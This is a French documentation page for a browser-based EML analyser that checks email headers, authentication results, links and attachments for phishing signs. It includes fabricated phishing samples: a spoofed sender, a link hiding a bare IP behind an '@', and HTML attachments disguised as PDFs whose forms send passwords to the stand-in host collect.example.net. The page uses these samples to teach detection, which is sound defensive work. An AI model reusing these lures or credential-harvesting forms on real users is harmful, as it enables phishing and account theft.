E-mail

Analyseur EML

Exécution localeNouveau

L'outil lui-même est en anglais ; cette page vous l'explique dans votre langue.

Utilisez Analyseur EML

Fonctionnalités

Déposez un fichier .eml ou collez la source d'un message pour vérifier ses en-têtes d'expéditeur, sa chaîne Received, ses liens et ses pièces jointes. Tout s'exécute dans votre navigateur.

Tout se passe entièrement dans votre navigateur : aucune des données que vous saisissez n'est transmise.

Comment utiliser Analyseur EML

  1. Récupérez le message brut. Enregistrez l'e-mail au format .eml ou copiez sa source : Gmail Show original, Outlook View message source, Thunderbird ou Apple Mail View source. Les fichiers Outlook .msg ne sont pas lus.
  2. Chargez-le. Déposez le fichier .eml sur la zone ou sélectionnez-le (jusqu'à 50 Mo), ou collez la source dans le champ de texte (jusqu'à 5 Mo) et appuyez sur Analyze (analyser).
  3. Lisez le résumé. Les constats sont classés en signes de danger, avertissements, notes et vérifications réussies. Chaque ligne indique l'en-tête, le lien ou la pièce jointe dont elle provient.
  4. Vérifiez les détails. Sous le résumé figurent les en-têtes d'expéditeur, les domaines comparés avec celui de From, les résultats d'authentification, la chaîne Received, chaque lien et chaque pièce jointe.
  5. Récupérez les indicateurs. Cochez les types d'indicateurs dont vous avez besoin, puis copiez-les bruts ou désamorcés, téléchargez-les dans un fichier .txt, ou utilisez Send to.

Exemple

Message de phishing fabriqué

Saisie
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
Résultats (enregistrés le 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

Un nom d'affichage se faisant passer pour support@example.com, un Reply-To et un DKIM sur d'autres domaines, un échec DMARC, un lien dont le texte affiche www.example.com mais qui mène à login.example.net, et une pièce jointe invoice.pdf.html contenant un formulaire de mot de passe.

Ce qu'il vérifie

SignalCe que cela signifie
Nom d'affichage contenant une adresse e-mailDanger lorsque le nom affiche une adresse et que le véritable expéditeur en est une autre. Les applications de messagerie n'affichent souvent que le nom.
Reply-To sur un autre domaineUn avertissement : votre réponse irait à une autre organisation que l'expéditeur.
Authentication-ResultsUn DMARC fail ou un SPF fail est un signe de danger ; un SPF softfail ou un DKIM fail est un avertissement. Seul le résultat ajouté par votre propre fournisseur compte.
Domaines Return-Path et DKIM d=Notés lorsqu'ils diffèrent du domaine de From. C'est normal pour les services d'envoi en masse, mais DMARC exige que l'un d'eux soit aligné.
Chaîne ReceivedLes sauts sont listés du plus ancien au plus récent avec leurs délais. Un horodatage antérieur à celui du saut précédent, un délai de plus d'une heure ou un DNS inverse « may be forged » sont signalés.
Texte et destination des liensDanger lorsque le texte visible nomme un domaine et que le lien mène à un autre, ou lorsqu'un texte placé avant @ masque le véritable hôte. Les IP nues, le punycode, les raccourcisseurs et les liens encapsulés sont aussi signalés.
Pièces jointesLes doubles extensions, les fichiers qui exécutent du code ou s'ouvrent dans un navigateur, un contenu qui ne correspond pas à l'extension et les astuces de remplacement droite-à-gauche (right-to-left override) sont signalés. Chaque fichier reçoit ses SHA-256, SHA-1 et MD5.
Formulaires et scripts dans le HTMLUn formulaire avec un champ de mot de passe dans le corps ou dans une pièce jointe est un signe de danger. Du code de script dans une pièce jointe est un avertissement.

D'autres exemples

Un lien qui cache une adresse IP

Saisie
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
Résultat

1 signe de danger, « 1 link: text before "@" is ignored: the real host is 203.0.113.7 », et 1 avertissement, « 1 link: link goes to a bare IP address ». Le tableau Links affiche l'adresse désamorcée à côté de son texte, Upgrade storage.

Une page HTML se faisant passer pour un PDF

Saisie
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
Résultat

2 signes de danger : la pièce jointe invoice.pdf « contains a form with a password field », et son « content is HTML document, not .pdf ». La carte de la pièce jointe affiche Content: HTML document et trois empreintes ; le tableau Links liste la cible du formulaire avec « form submits data to this address ».

FAQ

Que vérifie EML Analyzer ?

Il décode les en-têtes et chaque partie MIME, compare les domaines de From, Reply-To, Return-Path, DKIM d= et Message-ID, et lit les Authentication-Results. Il liste aussi les sauts Received avec leurs délais, chaque lien avec son texte visible, ainsi que les SHA-256, SHA-1 et MD5 de chaque pièce jointe.

Peut-il prouver qu'un e-mail est du phishing, ou qu'il est sûr ?

Non. Il montre des faits et des signes d'alerte, pas un verdict : les envois de masse légitimes ont souvent un Return-Path ou un domaine DKIM différent, et les signatures DKIM sont listées mais pas vérifiées cryptographiquement. Les fichiers Outlook .msg ne sont pas pris en charge ; enregistrez d'abord le message au format .eml.

L'e-mail est-il téléversé quelque part ?

Non. Le fichier est lu et analysé dans votre navigateur, le HTML est affiché sous forme de texte sans jamais être rendu, et rien ne passe par le réseau. Le bouton Send to transmet un résultat à une autre page d'outil via le stockage de session de votre navigateur.

À quel en-tête Authentication-Results se fie-t-il ?

À celui ajouté par votre propre système de messagerie, reconnu grâce à la chaîne Received et marqué « added by the recipient's server ». Les en-têtes situés plus bas dans le message peuvent être écrits par l'expéditeur : la page vous invite donc à ne vous fier qu'au résultat de votre fournisseur.

Peut-il ouvrir un e-mail joint à un autre e-mail ?

Oui. Un message joint est listé avec ses empreintes et un bouton « Analyze the attached message » qui l'ouvre dans la même vue. « Back to the outer message » vous ramène au message principal.

Pourquoi certaines adresses IP manquent-elles dans les indicateurs ?

Les adresses privées et locales ainsi que les sauts internes au système de messagerie du destinataire sont exclus, car ils ne désignent pas les serveurs de l'expéditeur. Les adresses e-mail des destinataires ne sont jamais incluses non plus.

Explication des termes

Étude PhishDestroy